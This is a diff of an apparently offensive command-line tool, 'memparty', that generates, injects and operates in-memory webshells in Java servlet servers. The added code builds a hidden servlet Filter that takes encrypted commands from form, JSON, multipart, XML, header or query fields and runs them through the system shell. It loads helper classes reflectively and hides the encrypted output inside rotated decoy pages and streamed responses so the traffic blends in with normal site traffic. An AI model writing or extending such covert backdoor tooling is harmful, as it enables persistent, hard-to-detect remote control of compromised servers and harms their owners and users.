+  const m = new RegExp(`<${escapeRegExp(pass)}>([^<]*)</${escapeRegExp(pass)}>`).exec(text);
+  if (!m) return null;
+  try {
+    return decryptField2(m[1], aesKey, cipher);
+  } catch {
+    return null;
+  }
+}
+function decodeAnyBody(body, pass, aesKey, cipher = LEGACY_CIPHER) {
+  return decodeJsonBody(body, pass, aesKey, cipher) ?? decodeMultipartBody(body, pass, aesKey, cipher) ?? decodeXmlBody(body, pass, aesKey, cipher);
+}
 function decodeRequestBody(body, pass, aesKey, cipher = LEGACY_CIPHER) {
   const text = body.toString("utf8");
   for (const pair of text.split("&")) {
@@ -1780,13 +2183,32 @@ function injectFragment(templateHtml, fragment) {
   if (idx === -1) return templateHtml + fragment;
   return templateHtml.slice(0, idx) + fragment + templateHtml.slice(idx);
 }
-function extractFromHtml(html, leftMarker, rightMarker = RIGHT_MARKER) {
-  const start = html.indexOf(leftMarker);
+function extractBetween(text, left, right) {
+  const start = text.indexOf(left);
   if (start === -1) return null;
-  const valueStart = start + leftMarker.length;
-  const end = html.indexOf(rightMarker, valueStart);
+  const valueStart = start + left.length;
+  if (right === "") return text.slice(valueStart);
+  const end = text.indexOf(right, valueStart);
   if (end === -1) return null;
-  return html.slice(valueStart, end);
+  return text.slice(valueStart, end);
+}
+function templateDelimiters(templates, markers) {
+  const out = [];
+  let markerUsed = false;
+  for (const t of templates) {
+    const idx = t.template.indexOf("{{payload}}");
+    if (idx !== -1) {
+      out.push({
+        left: t.template.slice(0, idx),
+        right: t.template.slice(idx + "{{payload}}".length)
+      });
+    } else if (!markerUsed) {
+      out.push({ left: markers.left, right: markers.right });
+      markerUsed = true;
+    }
+  }
+  if (out.length === 0) out.push({ left: markers.left, right: markers.right });
+  return out;
 }
 
 // src/connect/mimic.ts
@@ -1828,6 +2250,7 @@ async function roundTrip(req, ctx, plaintext) {
   const shape = pickRequestShape(ctx.profile ? profileRequests(ctx.profile) : []);
   const secretField = shape?.secretField ?? ctx.pass;
   const secretIn = shape?.secretIn ?? "body";
+  const bodyStyle = shape?.bodyStyle ?? "form";
   const cipher = encryptField2(Buffer.from(plaintext, "utf8"), ctx.aesKey, ctx.cipher);
   const decoys = (shape?.fields ?? []).map((f) => ({
     name: f.name,
@@ -1841,11 +2264,29 @@ async function roundTrip(req, ctx, plaintext) {
     body = Buffer.alloc(0);
   } else if (secretIn === "header") {
     extraHeaders[secretField] = cipher;
-    body = buildFormBody(decoys);
+    body = bodyStyle === "json" ? buildJsonBody(decoys) : buildFormBody(decoys);
+  } else if (shape?.bodyTemplate) {
+    body = renderBodyTemplate(shape.bodyTemplate, cipher);
   } else {
-    body = buildFormBody([...decoys, { name: secretField, value: cipher }]);
-  }
-  const headers = buildHeaders({ ...BROWSER_HEADERS, ...extraHeaders }, req.common);
+    body = bodyStyle === "json" ? buildJsonBody([...decoys, { name: secretField, value: cipher }]) : buildFormBody([...decoys, { name: secretField, value: cipher }]);
+  }
+  const baseHeaders = { ...BROWSER_HEADERS };
+  if (secretIn === "query") delete baseHeaders["Content-Type"];
+  else if (shape?.bodyTemplate) {
+    const t = shape.bodyTemplate.trimStart();
+    if (t.startsWith("--")) {
+      const boundary = t.split(/\r?\n/, 1)[0].slice(2);
+      baseHeaders["Content-Type"] = `multipart/form-data; boundary=${boundary}`;
+    } else {
+      const inferred = inferBodyTemplateContentType(shape.bodyTemplate);
+      if (inferred) baseHeaders["Content-Type"] = inferred;
+      else delete baseHeaders["Content-Type"];
+    }
+  } else if (bodyStyle === "json") baseHeaders["Content-Type"] = "application/json";
+  const headers = buildHeaders(
+    { ...baseHeaders, ...extraHeaders, ...shape?.headers ?? {} },
+    req.common
+  );
   let res;
   try {
     res = await postRaw(requestUrl, body, {
@@ -1871,7 +2312,16 @@ async function roundTrip(req, ctx, plaintext) {
       durationMs: res.durationMs
     };
   }
-  const b64 = extractFromHtml(res.body.toString("utf8"), ctx.markers.left, ctx.markers.right);
+  const text = res.body.toString("utf8");
+  const delimiters = templateDelimiters(
+    ctx.profile ? profileTemplates(ctx.profile) : [],
+    ctx.markers
+  );
+  let b64 = null;
+  for (const d of delimiters) {
+    b64 = extractBetween(text, d.left, d.right);
+    if (b64 !== null) break;
+  }
   if (b64 === null) {
     return {
       ok: false,
@@ -2021,7 +2471,7 @@ registerProtocol(suo5Protocol);
 registerProtocol(mimicProtocol);
 
 // src/core/oplog.ts
-import { appendFileSync, existsSync as existsSync2, mkdirSync as mkdirSync2, readFileSync as readFileSync3 } from "fs";
+import { appendFileSync, existsSync as existsSync2, mkdirSync as mkdirSync2, readFileSync as readFileSync4 } from "fs";
 import { homedir as homedir3 } from "os";
 import { dirname, join as join3 } from "path";
 var OUTPUT_LIMIT = 2e3;
@@ -2042,7 +2492,7 @@ function readOps(filter = {}) {
   try {
     const file = opLogPath();
     if (existsSync2(file)) {
-      for (const line of readFileSync3(file, "utf8").split("\n")) {
+      for (const line of readFileSync4(file, "utf8").split("\n")) {
         const trimmed = line.trim();
         if (!trimmed) continue;
         try {
@@ -2087,7 +2537,7 @@ function formatOp(e) {
 }
 
 // src/core/targets.ts
-import { existsSync as existsSync3, mkdirSync as mkdirSync3, readFileSync as readFileSync4, writeFileSync as writeFileSync2 } from "fs";
+import { existsSync as existsSync3, mkdirSync as mkdirSync3, readFileSync as readFileSync5, writeFileSync as writeFileSync3 } from "fs";
 import { homedir as homedir4 } from "os";
 import { dirname as dirname2, join as join4 } from "path";
 var NAME_RE2 = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
@@ -2105,7 +2555,7 @@ function listProjects() {
   try {
     const file = targetStorePath();
     if (!existsSync3(file)) return {};
-    const data = JSON.parse(readFileSync4(file, "utf8"));
+    const data = JSON.parse(readFileSync5(file, "utf8"));
     if (data !== null && typeof data === "object" && !Array.isArray(data)) {
       return data;
     }
@@ -2119,7 +2569,7 @@ function getProject(name) {
 function writeProjects(projects) {
   const file = targetStorePath();
   mkdirSync3(dirname2(file), { recursive: true });
-  writeFileSync2(file, `${JSON.stringify(projects, null, 2)}
+  writeFileSync3(file, `${JSON.stringify(projects, null, 2)}
 `, { mode: 384 });
 }
 function saveProjectMeta(name, meta) {
@@ -2227,7 +2677,8 @@ function autoSaveShell(conn) {
     headerValue: conn.headerValue,
     extraHeaders: Object.keys(conn.extraHeaders).length > 0 ? conn.extraHeaders : void 0,
     insecure: conn.insecure,
-    profile: conn.profile
+    profile: conn.profile,
+    upgradeProtocol: conn.upgradeProtocol
   });
   return `${projectName}/${shellName}`;
 }
@@ -2281,6 +2732,7 @@ function resolveConnection(ref, flags) {
     extraHeaders: { ...stored?.extraHeaders, ...flags.extraHeaders },
     insecure: flags.insecure ?? stored?.insecure,
     profile: flags.profile ?? stored?.profile,
+    upgradeProtocol: flags.upgradeProtocol ?? stored?.upgradeProtocol,
     targetName
   };
 }
@@ -2300,15 +2752,15 @@ function parseExtraHeaders(lines) {
 function registerConnectCommand(program) {
   program.command("connect").description(
     "Test whether a deployed webshell is alive and the credentials work"
-  ).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(new Option("-t, --tool <tool>", "shell protocol").choices(protocolNames())).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key (default: key)").option(
+  ).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(new Option2("-t, --tool <tool>", "shell protocol").choices(protocolNames())).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key (default: key)").option(
     "--header-name <name>",
     "gate header name reported by gen (shellToolConfig.headerName)"
   ).option(
     "--header-value <value>",
     "gate header value reported by gen (shellToolConfig.headerValue)"
   ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').addOption(
-    new Option("--suo5-mode <mode>", "suo5 protocol variant").choices(["auto", "v2", "v1"]).default("auto")
-  ).option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful test").addHelpText(
+    new Option2("--suo5-mode <mode>", "suo5 protocol variant").choices(["auto", "v2", "v1"]).default("auto")
+  ).option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("--upgrade-protocol <className>", "godzilla Upgrade shell: fully-qualified generated shell class name").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful test").addHelpText(
     "after",
     `
 Examples:
@@ -2343,7 +2795,8 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
         headerValue: opts.headerValue,
         extraHeaders: parseExtraHeaders(opts.header),
         insecure: opts.insecure,
-        profile: opts.profile
+        profile: opts.profile,
+        upgradeProtocol: opts.upgradeProtocol
       });
     } catch (err) {
       reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
@@ -2355,7 +2808,8 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
       headerValue: conn.headerValue,
       extraHeaders: conn.extraHeaders,
       timeoutMs,
-      insecure: conn.insecure
+      insecure: conn.insecure,
+      upgradeProtocol: conn.upgradeProtocol
     };
     let result;
     try {
@@ -2407,10 +2861,10 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
 }
 
 // src/commands/custom.ts
-import { Command as Command2 } from "commander";
+import { Command as Command3 } from "commander";
 
 // src/custom/build.ts
-import { mkdirSync as mkdirSync4, readFileSync as readFileSync5, writeFileSync as writeFileSync3 } from "fs";
+import { mkdirSync as mkdirSync4, readFileSync as readFileSync6, writeFileSync as writeFileSync4 } from "fs";
 import { join as join5 } from "path";
 
 // src/core/jdk.ts
@@ -2420,7 +2874,8 @@ var JDK_VERSIONS = {
   java9: 53,
   java11: 55,
   java17: 61,
-  java21: 65
+  java21: 65,
+  java25: 69
 };
 function resolveJreVersion(input3) {
   if (input3 === void 0 || input3 === "") return void 0;
@@ -2437,9 +2892,98 @@ function resolveJreVersion(input3) {
 }
 
 // src/custom/java-template.ts
+function renderWrapperJava() {
+  return `package mimic;
+
+import java.io.*;
+import javax.servlet.*;
+import javax.servlet.http.*;
+
+/** Re-exposes a consumed request body to downstream filters/servlets. */
+public class CachedBody extends HttpServletRequestWrapper {
+    private final byte[] body;
+
+    public CachedBody(HttpServletRequest req, byte[] body) {
+        super(req);
+        this.body = body;
+    }
+
+    public ServletInputStream getInputStream() {
+        return new Stream(body);
+    }
+
+    public BufferedReader getReader() {
+        return new BufferedReader(new InputStreamReader(getInputStream()));
+    }
+
+    static class Stream extends ServletInputStream {
+        private final ByteArrayInputStream in;
+
+        Stream(byte[] body) {
+            this.in = new ByteArrayInputStream(body);
+        }
+
+        public int read() {
+            return in.read();
+        }
+
+        public boolean isFinished() {
+            return in.available() == 0;
+        }
+
+        public boolean isReady() {
+            return true;
+        }
+
+        public void setReadListener(ReadListener l) {}
+    }
+}
+`;
+}
 function javaStringLiteral(s) {
   return s.replaceAll("\\", "\\\\").replaceAll('"', '\\"').replaceAll("\r", "").replaceAll("\n", "\\n").replaceAll(/[^\x00-\x7f]/g, (ch) => `\\u${ch.codePointAt(0).toString(16).padStart(4, "0")}`);
 }
+function wrapperLoaderMethods(opts) {
+  return `
+    /** wrapper class bytes (mimic.CachedBody + its stream) \u2014 embedded so the
+        uploaded shell stays a single self-contained class file */
+    static final String WRAPPER_B64 = "${opts.wrapper.bodyB64}";
+    static final String WRAPPER_STREAM_B64 = "${opts.wrapper.streamB64}";
+
+    static Class<?> forNameQuiet(String name, ClassLoader cl) {
+        try {
+            return Class.forName(name, true, cl);
+        } catch (Throwable t) {
+            return null;
+        }
+    }
+
+    static Class<?> defineQuiet(ClassLoader cl, String name, String b64) {
+        try {
+            java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass",
+                String.class, byte[].class, int.class, int.class);
+            m.setAccessible(true);
+            byte[] bytes = java.util.Base64.getDecoder().decode(b64);
+            return (Class<?>) m.invoke(cl, name, bytes, 0, bytes.length);
+        } catch (Throwable t) {
+            return null; // another shell in this JVM already defined it
+        }
+    }
+
+    /** Wrap the request so downstream code can re-read the JSON body we consumed. */
+    static HttpServletRequest wrapBody(HttpServletRequest req, byte[] body) throws Exception {
+        ClassLoader cl = ${opts.className}.class.getClassLoader();
+        Class<?> c = forNameQuiet("mimic.CachedBody", cl);
+        if (c == null) {
+            defineQuiet(cl, "mimic.CachedBody$Stream", WRAPPER_STREAM_B64);
+            c = defineQuiet(cl, "mimic.CachedBody", WRAPPER_B64);
+            if (c == null) c = forNameQuiet("mimic.CachedBody", cl);
+        }
+        return (HttpServletRequest) c.getConstructor(HttpServletRequest.class, byte[].class)
+            .newInstance(req, body);
+    }
+`;
+}
 var MD5_METHOD = String.raw`
     static String md5Hex(String s) throws Exception {
         MessageDigest m = MessageDigest.getInstance("MD5");
@@ -2575,9 +3119,11 @@ function sharedMethods(cipher) {
   return MD5_METHOD + cryptMethod(cipher.algorithm) + encDecMethods(cipher.encoding) + (cipher.padTail ? PAD_METHODS : "") + fieldTransforms(cipher);
 }
 function renderFilterJava(opts) {
-  const { className, pass, secret, fields, templates, cipher } = opts;
+  const { className, pass, secret, fields, bodyContentTypes, templates, cipher } = opts;
   const fieldsJava = fields.map((f) => `"${javaStringLiteral(f)}"`).join(", ");
-  const tplsJava = templates.map((t) => `        "${javaStringLiteral(t)}"`).join(",\n");
+  const bodyCtsJava = bodyContentTypes.map((n) => `"${javaStringLiteral(n)}"`).join(", ");
+  const tplsJava = templates.map((t) => `        "${javaStringLiteral(t.template)}"`).join(",\n");
+  const ctsJava = templates.map((t) => `"${javaStringLiteral(t.contentType)}"`).join(", ");
   return `package mimic;
 
 import java.io.*;
@@ -2592,37 +3138,120 @@ import javax.servlet.http.*;
  * mimic protocol server (matches src/connect/mimic-codecs.ts):
  *   cipher=${cipher.algorithm} encoding=${cipher.encoding} padTail=${cipher.padTail} marker=${cipher.marker}
  *
- * Detection uses getParameter()/getHeader() only, never reads the body
- * stream: form posts are parsed+cached by the container so downstream
- * getParameter() callers still work, and raw-body posts (Behinder) keep an
- * untouched body stream for the shell behind us. Anything that is not ours
- * falls through chain.doFilter; any error answers with the cover page.
+ * Detection uses getParameter()/getHeader() first, never touching the body
+ * stream. For JSON bodies it reads the stream ONCE and re-exposes it via a
+ * caching wrapper, so the app's own endpoints (and other shells behind us)
+ * still see the body. Anything that is not ours falls through chain.doFilter;
+ * any error answers with the plain cover template.
  */
 public class ${className} implements Filter {
     /** carriers that may hold the ciphertext (form fields / headers, from the profile) */
     static final String[] FIELDS = { ${fieldsJava} };
+    /** body Content-Type needles the shell owns \u2014 anything else passes with its body untouched */
+    static final String[] BODY_CTS = { ${bodyCtsJava} };
     /** credentials \u2014 must match the client's --pass/--key (key + marker derivation) */
     static final String PASS = "${javaStringLiteral(pass)}";
     static final String SECRET = "${javaStringLiteral(secret)}";
-    /** Cover pages from the site profile \u2014 rotated per response so the skin varies. */
+    /** Cover bodies from the site profile \u2014 rotated per response so the skin varies. */
     static final String[] TPLS = {
 ${tplsJava}
     };
+    /** Content-Type of each cover body (parallel to TPLS). */
+    static final String[] CTS = { ${ctsJava} };
 
     public void init(FilterConfig filterConfig) {}
     public void destroy() {}
 ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
+    static byte[] readAll(InputStream in) throws IOException {
+        ByteArrayOutputStream bos = new ByteArrayOutputStream();
+        byte[] buf = new byte[8192];
+        int n;
+        while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
+        return bos.toByteArray();
+    }
+
+    /** read the body only when its Content-Type is one the profile actually uses */
+    static boolean ctMatches(String ct) {
+        String l = ct.toLowerCase();
+        for (String n : BODY_CTS) if (l.contains(n)) return true;
+        return false;
+    }
+
+    /** minimal "field":"value" extraction \u2014 cipher values carry no quotes/escapes */
+    static String jsonField(String body, String field) {
+        String needle = "\\"" + field + "\\"";
+        int i = body.indexOf(needle);
+        if (i < 0) return null;
+        int colon = body.indexOf(':', i + needle.length());
+        if (colon < 0) return null;
+        int q1 = body.indexOf('"', colon + 1);
+        if (q1 < 0) return null;
+        int q2 = body.indexOf('"', q1 + 1);
+        if (q2 < 0) return null;
+        return body.substring(q1 + 1, q2);
+    }
+
+    /** minimal multipart extraction: the value follows the part headers of name="field" */
+    static String multipartField(String body, String field) {
+        String needle = "name=\\"" + field + "\\"";
+        int i = body.indexOf(needle);
+        if (i < 0) return null;
+        int sep = body.indexOf("\\r\\n\\r\\n", i + needle.length());
+        int sepLen = 4;
+        if (sep < 0) { sep = body.indexOf("\\n\\n", i + needle.length()); sepLen = 2; }
+        if (sep < 0) return null;
+        int start = sep + sepLen;
+        int end = body.indexOf('\\n', start);
+        if (end < 0) end = body.length();
+        String v = body.substring(start, end).trim();
+        return v.isEmpty() ? null : v;
+    }
+
+    /** minimal XML extraction: <field>value</field> */
+    static String xmlField(String body, String field) {
+        String open = "<" + field + ">";
+        int i = body.indexOf(open);
+        if (i < 0) return null;
+        int start = i + open.length();
+        int end = body.indexOf("</" + field + ">", start);
+        if (end < 0) return null;
+        return body.substring(start, end);
+    }
+${wrapperLoaderMethods(opts)}
     public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
             throws IOException, ServletException {
+        HttpServletRequest httpReq = request instanceof HttpServletRequest
+                ? (HttpServletRequest) request : null;
         String value = null;
         for (String f : FIELDS) {
             value = request.getParameter(f);
-            if (value == null && request instanceof HttpServletRequest) {
+            if (value == null && httpReq != null) {
                 // secretIn=header: the ciphertext may ride a header instead of a form field
-                value = ((HttpServletRequest) request).getHeader(f);
+                value = httpReq.getHeader(f);
             }
             if (value != null) break;
         }
+        if (value == null && httpReq != null) {
+            // the ciphertext may ride a raw body of any bodyTemplate shape
+            // (JSON / multipart / XML\u2026). Read it once and re-expose it
+            // downstream via the caching wrapper.
+            String ct = httpReq.getContentType();
+            if (ct != null && ctMatches(ct)) {
+                try {
+                    byte[] bodyBytes = readAll(httpReq.getInputStream());
+                    String bodyText = new String(bodyBytes, "UTF-8");
+                    for (String f : FIELDS) {
+                        value = jsonField(bodyText, f);
+                        if (value == null) value = multipartField(bodyText, f);
+                        if (value == null) value = xmlField(bodyText, f);
+                        if (value != null) break;
+                    }
+                    request = wrapBody(httpReq, bodyBytes);
+                } catch (Throwable wrapperFailed) {
+                    // the body is already consumed \u2014 pass through as-is
+                }
+            }
+        }
         if (value == null) {
             chain.doFilter(request, response);
             return;
@@ -2634,11 +3263,13 @@ ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
             cmd = decryptField(value, aesKey);
         } catch (Exception notOurs) {
             // the field exists but doesn't decrypt \u2014 this is someone else's
-            // legitimate form (e.g. the real login POST), stay invisible
+            // legitimate request (e.g. the real login POST), stay invisible
             chain.doFilter(request, response);
             return;
         }
-        String tpl = TPLS[new java.util.Random().nextInt(TPLS.length)];
+        int ti = new java.util.Random().nextInt(TPLS.length);
+        String tpl = TPLS[ti];
+        String tplCt = CTS[ti];
         try {
             String command = new String(cmd, "UTF-8");
             boolean win = System.getProperty("os.name").toLowerCase().contains("win");
@@ -2647,22 +3278,37 @@ ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
                 : new ProcessBuilder("/bin/sh", "-c", command);
             pb.redirectErrorStream(true);
             Process proc = pb.start();
-            ByteArrayOutputStream bos = new ByteArrayOutputStream();
-            InputStream in = proc.getInputStream();
-            byte[] buf = new byte[8192];
-            int n;
-            while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
             proc.waitFor();
-            String payload = encryptField(bos.toByteArray(), aesKey);
-            String fragment = wrapPayload(payload, PASS + SECRET);
-            int idx = tpl.toLowerCase().lastIndexOf("</body>");
-            String page = idx >= 0 ? tpl.substring(0, idx) + fragment + tpl.substring(idx) : tpl + fragment;
-            response.setContentType("text/html;charset=UTF-8");
+            String payload = encryptField(readAll(proc.getInputStream()), aesKey);
+            String page;
+            if (tpl.contains("{{payload}}")) {
+                // placeholder template (any text format): substitute exactly there
+                page = tpl.replace("{{payload}}", payload);
+            } else {
+                String fragment = wrapPayload(payload, PASS + SECRET);
+                int idx = tpl.toLowerCase().lastIndexOf("</body>");
+                page = idx >= 0 ? tpl.substring(0, idx) + fragment + tpl.substring(idx) : tpl + fragment;
+            }
+            response.setContentType(tplCt);
             response.setCharacterEncoding("UTF-8");
-            response.getWriter().write(page);
+            if (tplCt.contains("event-stream")) {
+                // flush chunk by chunk \u2014 a real SSE endpoint streams, a
+                // one-shot body is the wrong shape on the wire
+                java.io.PrintWriter w = response.getWriter();
+                for (String chunk : page.split("\\n\\n", -1)) {
+                    if (chunk.isEmpty()) continue;
+                    w.write(chunk);
+                    w.write("\\n\\n");
+                    w.flush();
+                    response.flushBuffer();
+                    try { Thread.sleep(30); } catch (InterruptedException ie) { break; }
+                }
+            } else {
+                response.getWriter().write(page);
+            }
         } catch (Exception e) {
-            // behave like the cover page on any error \u2014 stay quiet
-            response.setContentType("text/html;charset=UTF-8");
+            // behave like the cover body on any error \u2014 stay quiet
+            response.setContentType(tplCt);
             response.getWriter().write(tpl);
         }
     }
@@ -2715,6 +3361,29 @@ function profileSecretFields(profile) {
   const fields = [...new Set(shapes.map((r) => r.secretField).filter(Boolean))];
   return fields.length > 0 ? fields : ["pass"];
 }
+function ctNeedle(ct) {
+  const media = ct.toLowerCase().split(";", 1)[0].trim();
+  if (media.includes("json")) return "json";
+  if (media.includes("multipart")) return "multipart";
+  if (media.includes("xml")) return "xml";
+  return media;
+}
+function profileBodyContentTypes(profile) {
+  const needles = /* @__PURE__ */ new Set();
+  for (const r of profileRequests(profile)) {
+    if (r.secretIn !== void 0 && r.secretIn !== "body") continue;
+    if (r.bodyTemplate !== void 0) {
+      const explicit = Object.entries(r.headers ?? {}).find(
+        ([k]) => k.toLowerCase() === "content-type"
+      )?.[1];
+      const ct = explicit ?? inferBodyTemplateContentType(r.bodyTemplate);
+      if (ct) needles.add(ctNeedle(ct));
+    } else if (r.bodyStyle === "json") {
+      needles.add("json");
+    }
+  }
+  return [...needles];
+}
 function defaultClassName() {
   return `MimicFilter${randomString(4)}`;
 }
@@ -2726,26 +3395,38 @@ async function buildCustomMemshell(input3, client, deps = {}) {
   const urlPattern = input3.urlPattern ?? "/*";
   const packer = input3.packer ?? "DefaultBase64";
   const cipher = resolveCipher(input3.profile.cipher);
-  const templates = profileTemplates(input3.profile).map((t) => t.template);
+  const templates = profileTemplates(input3.profile).map((t) => ({
+    template: t.template,
+    contentType: t.contentType
+  }));
   if (templates.length === 0) {
     throw new Error(`profile '${input3.profile.name}' has no templates \u2014 nothing to use as cover page`);
   }
   const outDir = input3.outDir;
   const packageDir = join5(outDir, "mimic");
   mkdirSync4(packageDir, { recursive: true });
+  const wrapperFile = join5(packageDir, "CachedBody.java");
+  writeFileSync4(wrapperFile, renderWrapperJava(), "utf8");
+  compile([wrapperFile], outDir, { classpath: [jarOf()] });
+  const wrapper = {
+    bodyB64: readFileSync6(join5(packageDir, "CachedBody.class")).toString("base64"),
+    streamB64: readFileSync6(join5(packageDir, "CachedBody$Stream.class")).toString("base64")
+  };
   const javaSource = renderFilterJava({
     className,
     pass: input3.pass,
     secret: input3.secret,
     fields: profileSecretFields(input3.profile),
+    bodyContentTypes: profileBodyContentTypes(input3.profile),
     templates,
-    cipher
+    cipher,
+    wrapper
   });
   const javaFile = join5(packageDir, `${className}.java`);
-  writeFileSync3(javaFile, javaSource, "utf8");
+  writeFileSync4(javaFile, javaSource, "utf8");
   compile([javaFile], outDir, { classpath: [jarOf()] });
   const classFile = join5(packageDir, `${className}.class`);
-  const shellClassBase64 = readFileSync5(classFile).toString("base64");
+  const shellClassBase64 = readFileSync6(classFile).toString("base64");
   const response = await client.generateMemShell({
     shellConfig: {
       server: input3.server,
@@ -2764,13 +3445,13 @@ async function buildCustomMemshell(input3, client, deps = {}) {
   if (response.allPackResults && Object.keys(response.allPackResults).length > 0) {
     for (const [name, value] of Object.entries(response.allPackResults)) {
       const file = join5(outDir, `payload-${name}.txt`);
-      writeFileSync3(file, `${value}
+      writeFileSync4(file, `${value}
 `, "utf8");
       payloads[name] = file;
     }
   } else if (response.packResult !== void 0) {
     const file = join5(outDir, "payload.txt");
-    writeFileSync3(file, `${response.packResult}
+    writeFileSync4(file, `${response.packResult}
 `, "utf8");
     payloads[packer] = file;
   }
@@ -2810,7 +3491,7 @@ async function buildCustomMemshell(input3, client, deps = {}) {
     connect: `memparty connect -u <shell-url> -t mimic --profile ${input3.profile.name} --pass ${result.pass} --key ${result.secret}`,
     files: result.files
   };
-  writeFileSync3(result.files.manifest, `${JSON.stringify(manifest, null, 2)}
+  writeFileSync4(result.files.manifest, `${JSON.stringify(manifest, null, 2)}
 `, "utf8");
   return result;
 }
@@ -2818,7 +3499,7 @@ async function buildCustomMemshell(input3, client, deps = {}) {
 // src/commands/custom.ts
 function registerCustomCommand(program) {
   program.command("custom").description("Custom (mimic) memory shells built from a site profile").addCommand(
-    new Command2("build").description("profile -> filter class -> MemShellParty Custom -> injectable payload").requiredOption("--profile <name>", "site profile name (see 'memparty profile list')").requiredOption("--server <server>", "target middleware, e.g. Tomcat, TongWeb (see 'memparty config tools')").option("--type <shellType>", "shell type the filter implements", "Filter").option("--pass <pass>", "credential baked into the shell (random if omitted)").option("--key <key>", "crypto key baked into the shell (random if omitted)").option("--url-pattern <pattern>", "injector URL pattern", "/*").option("--packer <packer>", "payload packer", "DefaultBase64").option("--jdk <version>", "target JDK, e.g. java8", "java8").option("--out <dir>", "output directory", void 0).option("--json", "output raw JSON").addHelpText(
+    new Command3("build").description("profile -> filter class -> MemShellParty Custom -> injectable payload").requiredOption("--profile <name>", "site profile name (see 'memparty profile list')").requiredOption("--server <server>", "target middleware, e.g. Tomcat, TongWeb (see 'memparty config tools')").option("--type <shellType>", "shell type the filter implements", "Filter").option("--pass <pass>", "credential baked into the shell (random if omitted)").option("--key <key>", "crypto key baked into the shell (random if omitted)").option("--url-pattern <pattern>", "injector URL pattern", "/*").option("--packer <packer>", "payload packer", "DefaultBase64").option("--jdk <version>", "target JDK, e.g. java8", "java8").option("--out <dir>", "output directory", void 0).option("--json", "output raw JSON").addHelpText(
       "after",
       `
 The full loop (see docs/mimic-memshell-guide.md):
@@ -3004,20 +3685,29 @@ async function startMimicServer(options = {}) {
   const aesKey = deriveAesKey(secretKey);
   const markers = deriveMarkers(pass, secretKey, cipher);
   const execTimeoutMs = options.execTimeoutMs ?? 5e3;
-  const skin = PAGES["/"];
+  const skins = options.templates ?? [
+    { title: "mock", template: PAGES["/"], contentType: "text/html; charset=utf-8" }
+  ];
+  const fields = options.fields ?? [pass];
   const server = http2.createServer((req, res) => {
     if (req.method === "POST") {
       const chunks = [];
       req.on("data", (c) => chunks.push(c));
       req.on("end", () => {
-        let command = decodeRequestBody(Buffer.concat(chunks), pass, aesKey, cipher);
-        if (command === null) {
-          const query = new URL(req.url ?? "/", "http://x").searchParams.get(pass);
-          if (query) command = tryDecrypt(query, aesKey, cipher);
-        }
-        if (command === null) {
-          const header = req.headers[pass.toLowerCase()];
-          if (typeof header === "string") command = tryDecrypt(header, aesKey, cipher);
+        const rawBody = Buffer.concat(chunks);
+        let command = null;
+        for (const f of fields) {
+          command = decodeRequestBody(rawBody, f, aesKey, cipher);
+          if (command === null) command = decodeAnyBody(rawBody, f, aesKey, cipher);
+          if (command === null) {
+            const query = new URL(req.url ?? "/", "http://x").searchParams.get(f);
+            if (query) command = tryDecrypt(query, aesKey, cipher);
+          }
+          if (command === null) {
+            const header = req.headers[f.toLowerCase()];
+            if (typeof header === "string") command = tryDecrypt(header, aesKey, cipher);
+          }
+          if (command !== null) break;
         }
         if (command === null) {
           res.writeHead(404, { "Content-Type": "text/html; charset=utf-8" });
@@ -3026,8 +3716,26 @@ async function startMimicServer(options = {}) {
         }
         void runCommand(command.toString("utf8"), execTimeoutMs).then((output) => {
           const b64 = encryptField2(Buffer.from(output, "utf8"), aesKey, cipher);
-          res.writeHead(200, { "Content-Type": "text/html; charset=utf-8" });
-          res.end(injectFragment(skin, markers.wrap(b64)));
+          const skin = skins[Math.floor(Math.random() * skins.length)];
+          const body = skin.template.includes(PAYLOAD_PLACEHOLDER) ? skin.template.replaceAll(PAYLOAD_PLACEHOLDER, b64) : injectFragment(skin.template, markers.wrap(b64));
+          res.writeHead(200, { "Content-Type": skin.contentType });
+          if (skin.contentType.includes("event-stream")) {
+            const sseChunks = body.split("\n\n").filter((c) => c.length > 0);
+            let i = 0;
+            const next = () => {
+              if (i < sseChunks.length) {
+                res.write(`${sseChunks[i++]}
+
+`);
+                setTimeout(next, 25);
+              } else {
+                res.end();
+              }
+            };
+            next();
+          } else {
+            res.end(body);
+          }
         });
       });
       return;
@@ -3128,7 +3836,7 @@ Watch the printed request URL in step 3/4: it changes every run.
 }
 
 // src/commands/exec.ts
-import { Option as Option2 } from "commander";
+import { Option as Option3 } from "commander";
 function parseExtraHeaders2(lines) {
   const headers = {};
   for (const line of lines ?? []) {
@@ -3144,16 +3852,16 @@ function registerExecCommand(program) {
   program.command("exec").description(
     "Execute a command on a deployed webshell and print its output"
   ).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
-    new Option2("-t, --tool <tool>", "shell protocol").choices(protocolNames("exec"))
+    new Option3("-t, --tool <tool>", "shell protocol").choices(protocolNames("exec"))
